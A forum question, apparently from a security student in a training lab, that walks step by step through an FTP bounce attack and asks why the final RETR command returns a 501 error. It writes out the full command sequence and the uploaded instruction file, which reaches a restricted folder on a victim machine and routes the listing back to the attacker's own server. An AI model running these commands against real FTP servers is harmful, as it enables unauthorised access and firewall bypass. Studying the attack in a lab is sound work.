I'm studying security in a training lab, and I'm trying to implement the infamous FTP-bounce attack. I'll use a remote FTP server (called BOUNCE here) in order to access a folder on the VICTIM machine which is forbidden for my IP address. I don't know if the VICTIM machine allow access to the forbidden folder to BOUNCE, but it's still worth trying :).
Here is what I do:
I start my own pure-ftp server and connect to it:
service pure-ftpd start
~# ftp My_IP 21
ftp> USER my_own_username
Then, I tell my server to go into passive mode, It answers with an Ip address (which is my own IP address) and a PORT with a shape like: (F,F,F,F,X,X) I take note of it for later.
ftp> quote "pasv"
Entering Passive Mode (F,F,F,F,X,X)
And finally, I tell my server to accept data from the data channel and store them into foobar file, if it does not exists, the server creates one.
ftp> quote "stor foobar"
After this, my server (which is in passive mode now) will hang...
Now I'm going to use a FTP-bounce vulnerable server (which I found thanks to nmap displaying the message "Ftp-Bounce Working !") which I'll call "Bounce". If I understood correctly this latter is abble to connect to other FTP servers using the PORT command. Luckily I can connect to Bounce anonymously and upload some files on it using the PUT command.
Next, I'll import the following file onto Bounce:
user anonymous
pass whatyouwant
cd /restricted-folder
port F,F,F,F,X,X
ls
quit
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
...
It will then be uploaded from Bounce to the Victim Machine in order to let this latter execute the instructions in in.
I do this with those last commands (still on Bounce):
put instrs
quote "port C,C,C,C,0,21"
quote "retr instrs"
Where C,C,C,0,21
is the IP of the victim machine (let's call it VICTIM). (so It will connect on VICTIM, and tell it to execute the instruction in instrs file, if I understood correctly).
Problem: just after the command quote "retr instrs
I get the following error: 501 Cannot RETR. Error
So, I'm wondering, is It VICTIM or BOUNCE that prevent the RETR command too work ? Tell me also, If you think I misunderstood something. Thanks a lot for you attention.